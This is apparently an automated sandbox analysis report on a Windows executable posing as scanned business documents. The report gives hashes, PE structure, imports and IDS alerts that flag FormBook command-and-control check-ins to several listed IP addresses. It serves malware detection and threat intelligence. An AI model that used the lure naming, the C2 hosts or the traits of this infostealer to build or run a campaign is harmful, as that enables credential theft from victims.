SSDEEP:	6144:93/gG9wXSsQIWyhZDcnx8GcGoxzmEjEtPSgkyHbP1KPNsnmTM/h/NTAP6XjagH:laXvQIThZyx89RxzmEjAwN2/hVamf
MD5:	4269DE07B6806167BCB06EBB374AF6C9
SHA1:	012FB1FB34124ED9DC7FFBB55CC50640F27BF632
SHA-256:	C12C30FED87A5BD875A3E3FBD14A02FA1E312D90BC4B3B959E1699EB01723BF8
SHA-512:	4647F9A8AA0970BFA294BE6AB4135B00150A74CC5A20A4FB6B3C9F6C2AB7B5FE622403CE3F87679E976369E9735166750A0050BDCEF0BBF825C9D028805F2379
Malicious:	false
Reputation:	low
Preview:	...f.CKQIk..\.....QJ..}@P..KQI365UCX4CCKQI365UCX4CCKQI365.CX4M\._I.?.t.Yx.b.9 @.E',?F".k2(]XZ!c:Qc1>?iZX......,/4g>;?qCX4CCKQ02?.h#?.~#,.tSQ.O...y#,.S...i#?.Y..uSQ..*;\~#,.I365UCX4..KQ.275D.AbCCKQI365.CZ5HB@QI'25UCX4CCKQY'65USX4CsOQI3v5USX4CAKQO365UCX4ECKQI365Us\4CAKQI365WC..CC[QI#65UCH4CSKQI365ECX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365{7=L7CKQ-!25USX4CWOQI#65UCX4CCKQI365uCXTCCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.186205860358144
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Scanned Docs from Emnes Metal Sdn Bhd_.exe
File size:	1'261'056 bytes
MD5:	75d0bfd0499f3bb0c94a45a80e92476b
SHA1:	af86c882a44b250a8dc8a3c116eee075351740d0
SHA256:	b12b14169932a016209c31797d3a3d18a151f15615e9dc7345d36498fb7e6d07
SHA512:	826c5defe65e4ecc7092c6535374809c237e445dd4992ea6ee2a81d7cf374067212233a726bf0e18950285217829a393f7ba4bd9dec710c6225795d0b290c09c
SSDEEP:	24576:PqDEvCTbMWu7rQYlBQcBiT6rprG8a871bqS1s28SanAq:PTvC/MTQYxsWR7a871eZA
TLSH:	3245C00273D1D022FF9B91734B5AF6115ABC6E660123E61F13982D79BE701B1163E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	6142420142183038

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66AACABC [Wed Jul 31 23:37:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F6A7903E503h
jmp 00007F6A7903DE0Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F6A7903DFEDh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F6A7903DFBAh
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F6A79040BADh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F6A79040BF8h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F6A79040BE1h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x5d37c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x132000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x5d37c	0x5d400	aaf0a83192f29627e1716016cd081f7a	False	0.9707345425603218	data	7.96880676518361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x132000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd4458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd4580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd46a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd47d0	0x1024	Device independent bitmap graphic, 32 x 62 x 32, image size 3968, resolution 4724 x 4724 px/m	English	Great Britain	0.23426911907066797
RT_MENU	0xd57f4	0x50	data	English	Great Britain	0.9
RT_STRING	0xd5844	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xd5dd8	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xd6464	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xd68f4	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xd6ef0	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd754c	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd79b4	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd7b0c	0x59354	data			1.0003311475768755
RT_GROUP_ICON	0x130e60	0x14	data	English	Great Britain	1.2
RT_GROUP_ICON	0x130e74	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x130e88	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x130e9c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x130eb0	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x130f8c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-05T15:33:46.610247+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55438	80	192.168.2.4	76.223.67.189
2024-08-05T15:30:29.366717+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55446	80	192.168.2.4	116.213.43.190
2024-08-05T15:32:44.348060+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55419	80	192.168.2.4	64.226.69.42
2024-08-05T15:32:24.598271+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55414	80	192.168.2.4	109.95.158.127
2024-08-05T15:34:41.642470+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55445	80	192.168.2.4	116.213.43.190
2024-08-05T15:33:11.869360+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55427	80	192.168.2.4	216.83.33.140
2024-08-05T15:33:33.481112+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55434	80	192.168.2.4	35.241.42.217
2024-08-05T15:31:37.858823+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55400	80	192.168.2.4	38.12.1.29
2024-08-05T15:34:06.742130+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55441	80	192.168.2.4	116.213.43.190
2024-08-05T15:32:32.758756+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55416	80	192.168.2.4	3.33.130.190
2024-08-05T15:31:48.976689+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55403	80	192.168.2.4	217.116.0.191
2024-08-05T15:33:14.394961+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55428	80	192.168.2.4	216.83.33.140
2024-08-05T15:32:11.243024+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55410	80	192.168.2.4	3.33.130.190
2024-08-05T15:33:44.056357+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55437	80	192.168.2.4	76.223.67.189
2024-08-05T15:33:41.525809+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55436	80	192.168.2.4	76.223.67.189
2024-08-05T15:31:42.990832+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55402	80	192.168.2.4	38.12.1.29
2024-08-05T15:34:36.179851+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55443	80	192.168.2.4	116.213.43.190
2024-08-05T15:33:25.855659+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55431	80	192.168.2.4	35.241.42.217
2024-08-05T15:32:46.883713+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55420	80	192.168.2.4	64.226.69.42
2024-08-05T15:34:29.154258+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55442	80	192.168.2.4	116.213.43.190
2024-08-05T15:33:16.945128+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55429	80	192.168.2.4	216.83.33.140
2024-08-05T15:32:57.776739+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55423	80	192.168.2.4	203.161.55.102
2024-08-05T15:32:51.923298+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55422	80	192.168.2.4	64.226.69.42
2024-08-05T15:33:00.271451+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55424	80	192.168.2.4	203.161.55.102
2024-08-05T15:31:57.075925+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55406	80	192.168.2.4	217.116.0.191
2024-08-05T15:33:02.853794+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55425	80	192.168.2.4	203.161.55.102
2024-08-05T15:32:30.095906+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55415	80	192.168.2.4	3.33.130.190
2024-08-05T15:31:54.186142+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55405	80	192.168.2.4	217.116.0.191
2024-08-05T15:31:51.526601+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55404	80	192.168.2.4	217.116.0.191
2024-08-05T15:33:05.338981+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55426	80	192.168.2.4	203.161.55.102
2024-08-05T15:34:38.715086+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55444	80	192.168.2.4	116.213.43.190
2024-08-05T15:32:35.190410+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55417	80	192.168.2.4	3.33.130.190
2024-08-05T15:34:04.213661+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55440	80	192.168.2.4	116.213.43.190
2024-08-05T15:32:07.823386+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55409	80	192.168.2.4	3.33.130.190
2024-08-05T15:31:40.563497+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55401	80	192.168.2.4	38.12.1.29
2024-08-05T15:34:01.680859+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55439	80	192.168.2.4	116.213.43.190
2024-08-05T15:32:38.674646+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55418	80	192.168.2.4	3.33.130.190
2024-08-05T15:33:19.469697+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55430	80	192.168.2.4	216.83.33.140
2024-08-05T15:32:16.991396+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55411	80	192.168.2.4	109.95.158.127
2024-08-05T15:33:38.983279+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55435	80	192.168.2.4	76.223.67.189
2024-08-05T15:31:35.346636+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55399	80	192.168.2.4	38.12.1.29
2024-08-05T15:33:30.940025+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55433	80	192.168.2.4	35.241.42.217
2024-08-05T15:32:19.546018+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55412	80	192.168.2.4	109.95.158.127
2024-08-05T15:32:22.070909+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55413	80	192.168.2.4	109.95.158.127
2024-08-05T15:31:17.205288+0200	TCP	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	55397	80	192.168.2.4	3.33.130.190
2024-08-05T15:32:05.273764+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55408	80	192.168.2.4	3.33.130.190
2024-08-05T15:32:02.700047+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55407	80	192.168.2.4	3.33.130.190
2024-08-05T15:32:49.398527+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55421	80	192.168.2.4	64.226.69.42
2024-08-05T15:33:28.389390+0200	TCP	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	55432	80	192.168.2.4	35.241.42.217

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 15:31:16.697523117 CEST	55397	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:31:16.702527046 CEST	80	55397	3.33.130.190	192.168.2.4
Aug 5, 2024 15:31:16.702611923 CEST	55397	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:31:16.704848051 CEST	55397	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:31:16.709692001 CEST	80	55397	3.33.130.190	192.168.2.4
Aug 5, 2024 15:31:17.205013990 CEST	80	55397	3.33.130.190	192.168.2.4
Aug 5, 2024 15:31:17.205123901 CEST	80	55397	3.33.130.190	192.168.2.4
Aug 5, 2024 15:31:17.205287933 CEST	55397	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:31:17.208636999 CEST	55397	80	192.168.2.4	3.33.130.190
Aug 5, 2024 15:31:17.218489885 CEST	80	55397	3.33.130.190	192.168.2.4
Aug 5, 2024 15:31:34.448457956 CEST	55399	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:34.453433990 CEST	80	55399	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:34.453572035 CEST	55399	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:34.455704927 CEST	55399	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:34.460547924 CEST	80	55399	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:35.346323013 CEST	80	55399	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:35.346447945 CEST	80	55399	38.12.1.29	192.168.2.4
Aug 5, 2024 15:31:35.346636057 CEST	55399	80	192.168.2.4	38.12.1.29
Aug 5, 2024 15:31:35.966180086 CEST	55399	80	192.168.2.4	38.12.1.29
